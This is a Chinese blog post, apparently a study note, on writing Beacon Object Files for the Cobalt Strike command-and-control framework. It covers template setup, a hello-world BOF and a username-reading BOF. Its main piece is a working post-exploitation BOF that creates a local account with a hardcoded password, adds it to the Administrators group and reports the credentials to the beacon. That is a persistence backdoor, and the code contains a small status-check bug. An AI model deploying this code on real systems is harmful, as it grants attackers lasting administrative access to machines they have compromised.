首页 > 其他分享 >CS BOF知识

CS BOF知识

时间:2024-07-16 17:18:30浏览次数:9  
标签:username hr 知识 char msg ui CS BOF

模版导入

BOF模版文件
https://github.com/securifybv/Visual-Studio-BOF-template
把模版文件放入
C:\Users\test\Documents\Visual Studio 2022\Templates\ProjectTemplates\
目录下
image.png
选中bof直接编译即可
image.png

代码文件

测试弹窗

#include "bofdefs.h"

extern "C" {

#ifdef BOF
    void go(char* buff, int len) {
        BeaconPrintf(CALLBACK_OUTPUT, "Hello, World!");
#endif
    }

}
#ifndef BOF

void main(int argc, char* argv[]) {

    go(NULL, 0);
}

#endif

image.png
image.png

用户名

#include <windows.h>
#include <stdio.h>
#include "bofdefs.h"



#pragma region error_handling
#define print_error(msg, hr) _print_error(__FUNCTION__, __LINE__, msg, hr)
BOOL _print_error(char* func, int line,  char* msg, HRESULT hr) {
#ifdef BOF
	BeaconPrintf(CALLBACK_ERROR, "(%s at %d): %s 0x%08lx", func, line,  msg, hr);
#else
	printf("[-] (%s at %d): %s 0x%08lx", func, line, msg, hr);
#endif // BOF

	return FALSE;
}
#pragma endregion
DECLSPEC_IMPORT DWORD WINAPI ADVAPI32$GetUserNameA(LPSTR, LPDWORD);
DECLSPEC_IMPORT DWORD WINAPI User32$MessageBoxA(HWND, LPCSTR, LPCSTR, UINT);

#ifdef BOF
void go(char* buff, int len) {
	char username[1024];
	DWORD usernameLength = sizeof username;
	ADVAPI32$GetUserNameA(username, &usernameLength);
	BeaconPrintf(CALLBACK_OUTPUT, "当前用户名为:%s", username);
	User32$MessageBoxA(0, 0, 0, 0);
}


#else

void main(int argc, char* argv[]) {
	
}

#endif

image.png

添加用户

#include <windows.h>
#include <lm.h>
#include <stdio.h>
#include "bofdefs.h"

#pragma region error_handling
#define print_error(msg, hr) _print_error(__FUNCTION__, __LINE__, msg, hr)
BOOL _print_error(char* func, int line, char* msg, HRESULT hr) {
#ifdef BOF
    BeaconPrintf(CALLBACK_ERROR, "(%s at %d): %s 0x%08lx", func, line, msg, hr);
#else
    printf("[-] (%s at %d): %s 0x%08lx", func, line, msg, hr);
#endif // BOF

    return FALSE;
}
#pragma endregion
DECLSPEC_IMPORT NET_API_STATUS WINAPI NETAPI32$NetUserAdd(LPWSTR, DWORD, PBYTE, PDWORD);
DECLSPEC_IMPORT NET_API_STATUS WINAPI NETAPI32$NetLocalGroupAddMembers(LPCWSTR, LPCWSTR, DWORD, PBYTE, DWORD);

#ifdef BOF
void go(char* buff, int len) {
    if (!BeaconIsAdmin()) {
        BeaconPrintf(CALLBACK_OUTPUT, "非管理权限");
        return;
    }
    LPCWSTR username = L"sanfortest";
    LPCWSTR password = L"san!@#123";
    USER_INFO_1 ui;
    DWORD dwLevel = 1;
    DWORD dwError = 0;
    ZeroMemory(&ui, sizeof(ui));
    ui.usri1_name = (LPWSTR)username;
    ui.usri1_password = (LPWSTR)password;
    ui.usri1_priv = USER_PRIV_USER;
    ui.usri1_home_dir = NULL;
    ui.usri1_comment = NULL;
    ui.usri1_flags = UF_SCRIPT | UF_DONT_EXPIRE_PASSWD;
    ui.usri1_script_path = NULL;
    NET_API_STATUS nStatus = NETAPI32$NetUserAdd(NULL, dwLevel, (LPBYTE)&ui, &dwError);
    if (nStatus == NERR_Success) {
        LOCALGROUP_MEMBERS_INFO_3 account;
        account.lgrmi3_domainandname = (LPWSTR)username;
        NET_API_STATUS aStatus = NETAPI32$NetLocalGroupAddMembers(NULL, L"Administrators", 3, (LPBYTE)&account, 1);
        if (nStatus == NERR_Success) {
            BeaconPrintf(CALLBACK_OUTPUT, " %ls 用户、管理员组添加成功\n", username);
            BeaconPrintf(CALLBACK_OUTPUT, "用户名: %ls,密码:%ls\n", username, password);
        }
        else {
            BeaconPrintf(CALLBACK_OUTPUT, "用户 %ls 管理员组添加失败", username);
        }
    }
    else {
        BeaconPrintf(CALLBACK_OUTPUT, "User added error %d", nStatus);
    }
}

#else

void main(int argc, char* argv[]) {

}

#endif

image.png
image.png
参考链接
https://cn-sec.com/archives/2250195.html

标签:username,hr,知识,char,msg,ui,CS,BOF
From: https://www.cnblogs.com/Adfind/p/18305737

相关文章

  • LLM大模型:推理优化-知识蒸馏
      1、有些模型比较大,推理时的效果还不错,但非常耗费计算资源;并且产生token的速度也很慢,大概1秒1个token(我的RAG在最后一步使用的secGPT-13B大概就是这个速度),一个问题回答完毕要耗费分钟级别的时间,用户直接抓狂,继续提升推理的速度!大模型本质是大量的矩阵运算,想要提高效......
  • CSS 不用JavaScript实现动画 box-shadow 渐变实现内切角
    阴影实现的关键点在于使用伪元素绝对定位在容器的一角,元素本身透明,阴影扩散开形成内切圆角效果阴影实现缺点,单个标签最多只能是2个内切圆角径向渐变实现内切圆角可以是4边HTML:<divclass="shadow">使用阴影的扩散半径实现内切圆角</div><divclass="shadow2">阴影实现缺点......
  • 【YashanDB知识库】存储过程报错snapshot too old
    问题描述20231127上午客户反馈绩效系统20231125、20231126出现2次YAS-02020snapshottooold的问题,测试也有类似问题。该过程是客户新增的存储过程,目的是通过PRO_RUN_JOB作为主控,调度其他存储过程,后续不用其他调度引擎。原因分析错误信息收集分析分析存储过程报错日志,核查UN......
  • 树莓派4b最新系统下CSI摄像头使用
     最新的64位系统下opencv的capture不支持libcamera 直接调用capturevideo运行代码会出现如下报错:    WARN:[email protected]]global./modules/videoio/src/cap_gstreamer.cpp(2401)handleMessageOpenCV|GStreamerwarning:Embeddedvideoplaybackhalted;modulev4......
  • 使用 CSS 选择器实现对不含 title 属性元素的选择
    使用CSS选择器实现对不含title属性元素的选择在CSS中,选择器用于指定样式规则应用于哪些元素。虽然CSS没有直接排除某些属性的功能,但是可以通过使用伪类选择器和属性选择器来实现排除含有特定属性的元素的效果。要排除含有title属性的元素,可以使用:not伪类选择器。以......
  • 展示CSS3中的3D翻牌效果
    为了展示CSS3中的3D翻牌效果,我将为您提供一个简单的示例代码。在这个示例中,我们将创建一个简单的翻牌动画效果,类似于百度贴吧的3D翻牌效果。这里使用CSS3的transform属性来实现翻牌效果。以下是示例代码:HTML部分:<divclass="flip-card"><divclass="flip-card-inner"><div......
  • 关于CSRF和SSRF的介绍
    一、CSRF1.简介跨站请求伪造(Cross-SiteRequestForgery,CSRF),也被称为OneClickAttack或者SessionRiding,通常缩写为CSRF,是一种对网站的恶意利用。尽管听起来像XSS,但它与XSS非常不同,XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的......
  • 鉴权测试基本知识及测试内容
    ⼀、授权和鉴权的区别?授权:相当于给⼀个通⾏证鉴权:鉴定是否有权访问(判断有没有通⾏证)二、为什么要鉴权?我们如果想要进⼊房⼦之前必须有钥匙,钥匙匹配了我们才能进⼊这个房间,没有鉴权,就好⽐,这房⼦只要有⼈知道在哪⾥,就可以随意的访问和进⼊,你愿意这么做吗?那对于软件⽽⾔,也同样......
  • d3.js生成知识图谱--实现节点的颜色分类,节点点击事件处理
    首先看一下节点的数据内容:nodes:[{id:1,name:'刘备',type:'皇上'},{id:2,name:'关羽',type:'将军'},{id:3,name:'张飞',type:'将军'},{id:4,name:'诸葛亮',type:......
  • CSP - Junior 初赛备考手册 如何答题
    本文章将结合CSP2019-2023的题目,本蒟蒻将分享自己的拙见。网络CSP2019T1中国的国家顶级域名是______。A..cnB..chC..chnD..chinaAnswer:A常识问题。二进制运算CSP2019T2二进制数\(11~1011~1001~0111\)和\(01~0110~1110~1011\)进行按位与运算的结果......